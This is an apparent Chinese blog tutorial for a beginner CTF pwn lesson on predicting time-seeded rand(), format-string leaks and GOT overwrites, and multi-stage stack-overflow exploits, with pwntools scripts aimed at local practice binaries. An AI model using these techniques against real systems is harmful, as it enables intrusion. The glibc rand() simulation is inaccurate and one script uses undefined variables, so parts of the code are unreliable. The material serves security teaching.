1. 从零到一:Pwn入门第五课的核心脉络
如果你已经跟着XMCVE的Pwn入门课程走到了第五课,那说明你已经跨过了环境搭建、基础工具使用、栈溢出原理这些最初的坎。这第五课,通常是一个承上启下的关键节点。它不再满足于让你“能跑通一个简单的栈溢出”,而是开始引导你思考更现实、更复杂的问题:当程序逻辑变得不那么“直给”,当漏洞利用需要绕过一些简单的保护,或者需要结合程序自身的功能时,我们该怎么办?这堂课的核心,往往围绕着
“绕过基础保护机制”
和
“利用程序既有功能构造攻击链”
这两个主题展开。很多新手在这里会感到迷茫,因为题目看起来“花里胡哨”,不像之前那样有一个明显的
gets
或者
scanf
等着你。别慌,这正是从“解题”思维向“实战”思维转变的开始。
我当年学到这里时,最大的感受是:Pwn开始变得“有趣”了。它不再是简单的覆盖返回地址,而是需要你像侦探一样,仔细分析程序的每一个函数、每一处逻辑,甚至每一个打印的字符串,从中寻找拼凑攻击路径的碎片。这节课通常会引入一些CTF中经典的题型,比如涉及随机数预测、格式化字符串漏洞的初级利用,或者是需要结合多次输入、菜单选择来达成目标的题目。理解这节课,相当于拿到了打开中级Pwn世界大门的钥匙。
2. 核心知识点深度剖析:从“看到”漏洞到“利用”漏洞
2.1 伪随机数的“不随机”:
srand(time(0))
与
rand()
这是最近网络热词里提到的一个非常典型的场景:
srand(time(0)); v3 = rand() % 1000;
。很多新手看到
rand()
就头大,觉得这是不可预测的。但实际上,在CTF的Pwn题中,这往往是出题人给你的一个“可控”的突破口。
原理拆解
:
rand()
函数生成的是伪随机数序列。
srand(seed)
用给定的
seed
初始化这个序列。如果
seed
相同,那么后续
rand()
调用产生的序列就完全一样。
time(0)
返回当前时间的秒级时间戳。在本地攻击或者远程连接时间差极小的情况下,攻击者完全可以预测或同步这个种子。
为什么这是漏洞?
假设程序用这个
v3
作为栈Cookie(Canary)的一部分,或者作为某个关键数组的索引,或者是一个验证码。如果你能预测出
v3
的值,就等于绕过了这个“随机”保护。在CTF环境中,远程服务器的
time(0)
返回值,你可以在连接时立刻获取,或者因为连接和处理的时间极短,可以近乎精确地预测。
实操中的关键点 :
-
确定随机数使用的位置
:用IDA或Ghidra反编译,找到
srand(time(0))和所有rand()调用点,看生成的随机数用在了哪里(是Canary?是密钥?还是偏移?)。 -
同步种子
:在你的攻击脚本(Exploit)中,第一步就是获取当前时间戳作为种子。通常使用Python的
int(time.time())。这里有一个 重要细节 :要确保你的脚本运行环境和目标服务器的时区一致(通常是UTC),或者对时间戳进行相应调整。 -
验证预测
:有时题目可能会连续调用多次
rand(),你需要模拟同样的调用顺序,才能得到正确的预测值。写一个小函数来复现这个过程是稳妥的做法。
注意 :这种预测依赖于“时间戳即种子”的假设。有些题目会进行混淆,比如
seed = time(0) ^ getpid(),增加了预测难度。这时就需要结合信息泄露等其他漏洞来获取seed或直接获取随机数值。
2.2 格式化字符串漏洞(Format String Bug, FSB)的初探
第五课很可能开始接触格式化字符串漏洞。这是二进制安全中另一个基石型的漏洞类型。它的危险性在于,它提供了“任意地址读”和“任意地址写”的能力,而这往往是突破现代保护机制(如ASLR、PIE)的关键第一步。
核心原理
:
当程序使用像
printf(user_input)
这样的危险函数时,如果
user_input
是我们可控的,且包含
%x
、
%p
、
%s
、
%n
等格式化符,
printf
会将这些格式化符解释为指令,从栈上读取本不属于它的数据作为参数,或者向指定地址写入数据。
在入门阶段的典型利用 :
-
泄露信息(任意读)
:使用
%p、%x来泄露栈上的内容。这可以帮助我们找到:- 函数的返回地址(从而计算libc基址或程序基址)。
- 栈上的其他敏感指针(如指向堆或libc的指针)。
- 甚至是栈上的Flag字符串(如果程序将其读入栈中)。
-
覆盖内存(任意写)
:使用
%n系列格式化符(%n写入int,%hn写入short,%hhn写入char)。%n会将截至目前成功输出的字符数,写入它对应的参数所指向的地址。通过精心控制输出的字符数,我们可以向任意地址写入一个特定的值。
一个简单的利用框架 :
from pwn import *
# 假设有格式化字符串漏洞的函数
p = process('./vuln_program')
# 1. 泄露栈上的某个值,例如第6个参数(从0开始计数)处的值,可能是一个libc地址
payload = b'%6$p'
p.sendline(payload)
leaked_addr = int(p.recvline(), 16)
log.success(f"Leaked address: {hex(leaked_addr)}")
# 2. 计算基址(假设泄露的是__libc_start_main+243)
libc_base = leaked_addr - 0x270b3 # 这个偏移需要根据本地libc计算
system_addr = libc_base + 0x52290 # system函数偏移
# 3. 使用%n覆盖某个函数指针(如GOT表中的printf地址)为system地址
# 这需要更复杂的payload构造,可能用到pwntools的fmtstr_payload
payload = fmtstr_payload(offset, {printf_got: system_addr})
p.sendline(payload)
p.interactive()
避坑指南 :
-
参数定位(Offset)
:这是第一个难点。你需要确定你的输入在栈上作为
printf的第几个参数。通常通过输入如AAAA%p%p%p%p...或AAAA%1$p来试探。看到0x41414141(‘AAAA’)出现的位置,就是你的输入开始的偏移。 -
写入值控制
:直接写入一个大地址(如
0x7ffff7e52290)需要输出海量字符,不现实。通常采用%hhn分字节多次写入,或者结合%<num>c来控制输出字符数。pwntools的fmtstr_payload函数帮你自动化了这个过程,但理解其原理至关重要。
2.3 多阶段攻击(Multi-stage Exploit)与ROP链的雏形
当一次简单的栈溢出无法直接getshell时(比如因为NX开启,栈不可执行),就需要多阶段攻击。第五课的题目可能会设计成:
- 第一次输入:利用一个漏洞(如格式化字符串)泄露关键信息(程序基址、libc基址、栈地址)。
- 第二次输入:利用另一个漏洞(如栈溢出),结合泄露的信息,构造ROP链或覆盖函数指针。
这引入了
信息泄露
和
利用链构造
的概念。你的Exploit脚本不再是一行
payload = b'A'*100 + p64(system_addr)
,而是变成了一个有状态、分步骤的交互过程。
3. 典型题目实战拆解:一道融合随机数与溢出的题目
假设我们遇到一道题,它的大致逻辑如下:
-
程序开始时调用
srand(time(0)),生成一个随机数key。 -
提供一个菜单:1. 输入名字(存在栈溢出);2. 验证密钥(需要输入正确的
key);3. 退出。 - 只有通过密钥验证,才能触发一个危险的后门函数。
攻击思路分析 :
- 目标 :执行后门函数。
-
障碍
:需要正确的
key。直接溢出覆盖返回地址到后门函数,可能在验证key的步骤就被检查拦下了。 -
突破口
:
key由rand()生成,种子是time(0),可预测。同时,“输入名字”存在栈溢出。
分步攻击实现 :
from pwn import *
import time
import ctypes
context.log_level = 'debug'
context.arch = 'amd64'
# 假设本地测试
p = process('./challenge')
# 如果是远程:p = remote('target', port)
# 第一步:预测随机数key
# 我们需要模拟目标的libc rand(),因为不同平台实现可能不同。这里使用ctypes调用本地libc的rand。
# 更常见的CTF做法是,直接使用Python的random模块,因为glibc的rand()算法是公开的。
# 但注意,Python的random算法不同!所以正确做法是:
# 1. 要么题目给了libc.so,我们用pwnlib的DynELF或直接加载来调用rand。
# 2. 要么自己实现一个glibc rand()。
# 这里演示一个简单情况:假设我们能用与服务器相同libc的本地环境预测。
# 获取当前时间戳作为种子(假设服务器时间同步)
seed = int(time.time())
# 使用一个兼容glibc rand()的模拟函数
def glibc_rand(seed):
# glibc rand() 的简单线性同余模拟 (LCG),注意这并不完全精确,但对于简单题目足够
# 更严谨的做法是使用题目提供的libc文件中的函数
return (seed * 1103515245 + 12345) & 0x7fffffff
# 模拟srand
state = seed
# 模拟第一次rand()调用(如果程序只调用了一次)
state = glibc_rand(state)
predicted_key = state % 1000 # 对应 rand() % 1000
log.success(f"Predicted key: {predicted_key}")
# 第二步:通过菜单选择,先进行密钥验证
p.recvuntil(b'choice:')
p.sendline(b'2') # 选择验证密钥
p.recvuntil(b'key:')
p.sendline(str(predicted_key).encode())
# 第三步:验证成功后,再利用输入名字的栈溢出
p.recvuntil(b'choice:')
p.sendline(b'1') # 选择输入名字
# 假设通过反编译得到偏移是72字节到返回地址,后门函数地址是0x401216
payload = b'A' * 72 + p64(0x401216)
p.sendline(payload)
# 第四步:可能还需要选择退出或触发流程
p.recvuntil(b'choice:')
p.sendline(b'3')
p.interactive()
为什么这样可行?
我们预测了
key
,从而通过了程序的合法验证流程。这之后,程序可能处于一个“已认证”的状态,或者直接给了我们执行后续操作的权限。此时再触发栈溢出,程序的控制流劫持就水到渠成。这道题巧妙地将
漏洞利用
和
程序逻辑绕过
结合在一起。
4. 环境配置的再审视与高级调试技巧
到了这个阶段,你的Pwn环境应该不仅仅是
ubuntu:latest
加
pwntools
了。一些更高效的配置能极大提升你的效率。
4.1 针对性Libc管理
题目经常不提供libc文件,或者提供的libc版本与你本地不同。你需要:
-
使用
patchelf修改二进制文件 :将题目的二进制文件指向你指定的、与远程服务器版本一致的libc。patchelf --set-interpreter /path/to/ld.so --set-rpath /path/to/libc ./challenge -
Libc数据库
:使用
libc-database或在线工具(如libc.blukat.me),通过泄露的函数地址(如printf、puts)来查找对应的libc版本,从而确定准确的偏移。
4.2 GEF/Pwndbg增强型GDB插件
原生的GDB对Pwn手不够友好。务必安装GEF或Pwndbg。
-
GEF
:功能强大,命令直观。
heap bins,heap chunks,search-pattern,dereference等命令是堆题和内存分析的利器。 -
Pwndbg
:界面更美观,对堆的显示有独特优势。
我个人的习惯是使用GEF,它的
context命令能同时显示寄存器、栈、代码、反汇编,信息密度高。
4.3 Python Exploit脚本的最佳实践
-
使用
context:在脚本开头设置context.binary = './challenge',pwntools会自动获取二进制文件的架构、位宽、基址等信息,让p64()、p32()等函数更智能。 -
善用
ELF和ROP类 :
这比硬编码地址要可靠得多,尤其是在PIE(位置无关执行)开启的情况下,你需要先泄露基址。elf = ELF('./challenge') rop = ROP(elf) pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] -
结构化交互
:使用
recvuntil(b'something:')和sendline()来稳定地与程序交互,避免因为输出缓冲导致脚本卡住。
5. 常见问题与排查思路实录
Q1:我泄露了一个地址,怎么知道它是什么?
A1:首先,检查这个地址是否在程序映射的内存范围内(
cat /proc/[pid]/maps
或GEF的
vmmap
)。如果在
0x55...
或
0x56...
范围,很可能是程序本身的地址(PIE)。如果在
0x7f...
范围,很可能是libc地址。然后,用GDB的
x/x <address>
查看该地址的内容,或者用
info symbol <address>
尝试解析符号。更常用的方法是,将泄露的地址与已知的符号(如
__libc_start_main_ret
、
puts
)的偏移进行比较,来推断它是哪个函数。
Q2:我的ROP链构造好了,但执行到
system(“/bin/sh”)
时崩溃了。
A2:这是最常遇到的问题之一。请按以下顺序排查:
-
栈对齐
:在x86-64 Linux上,
system函数要求调用时栈指针rsp按16字节对齐。在ret到system之前,rsp的值必须是0x...0。如果你的ROP链以ret结尾,那么rsp通常是8字节对齐的。解决方法是在system地址前加一个ret指令的gadget(通常写作rop.ret)来调整栈对齐。 -
参数位置
:确保
/bin/sh字符串的地址已经放到了rdi寄存器(64位)或栈上正确的位置(32位)。使用pop rdi; ret这样的gadget。 -
字符串地址有效
:确保你传递给
system的指针确实指向内存中一个完整的、以空字符结尾的/bin/sh字符串。这个字符串可以来自程序的.data段、.bss段,或者通过溢出写入栈上的已知位置。 -
libc版本
:你使用的
system和/bin/sh偏移是否与目标服务器的libc版本完全一致?用泄露的地址重新计算一遍。
Q3:格式化字符串漏洞利用时,
%n
写入总是失败或程序崩溃。
A3:
-
检查地址有效性
:你让
%n写入的地址(比如某个GOT表项)是否可写?用vmmap检查该地址段的权限。 -
避免空字节
:如果地址是
0x7f...,在构造payload时,地址本身可能包含空字节(0x00),这会被C字符串函数截断。需要将地址放在payload末尾,或者利用格式化字符串本身的特性调整参数顺序。 -
写入大小
:
%n写入的是int(4字节),%hn写入short(2字节),%hhn写入char(1字节)。确保你使用的格式化符与目标变量的大小匹配。例如,覆盖一个64位的指针,通常需要两次%hn写入。 -
输出长度
:
%n写入的值是 已输出字符总数 。如果你要写入一个很大的值(比如一个libc地址),直接输出那么多字符会导致网络超时或缓冲区爆炸。必须使用%<num>c来精确控制输出宽度,并结合多个%hhn分字节写入。
Q4:远程打不通,本地能通。 A4:这是Pwn手的日常。排查点:
- Libc :99%的问题出在libc版本不同。用泄露的地址反推远程libc的基址和版本。
-
环境差异
:远程可能是
ubuntu18.04,你是ubuntu22.04,内核、libc版本都不同。用Docker容器模拟远程环境是最佳实践。FROM ubuntu:18.04 RUN apt-get update && apt-get install -y libc6 libc6-dev -
网络延迟与交互:远程交互可能更慢,在你的
recvuntil中可能需要调整等待时间,或者使用更通用的recv配合timeout。 - 随机化 :远程的ASLR、堆布局可能和本地不同。你的攻击不能依赖固定的堆地址。所有地址都应该基于泄露的信息动态计算。
走到这里,你已经不再是Pwn的门外汉了。你开始面对真实的、混杂着多种保护和复杂逻辑的程序。记住,耐心和细致是你的最佳武器。反复阅读反编译的代码,在GDB中动态跟踪每一步,理解每一个数据的流向。每一个崩溃(Segmentation Fault)都不是失败,而是程序在告诉你:“你接近真相了,但这里有个检查你没通过”。去分析那个检查,绕过它,或者利用它。这就是Pwn的艺术,也是它让人着迷的地方。
3万+

被折叠的 条评论
为什么被折叠?



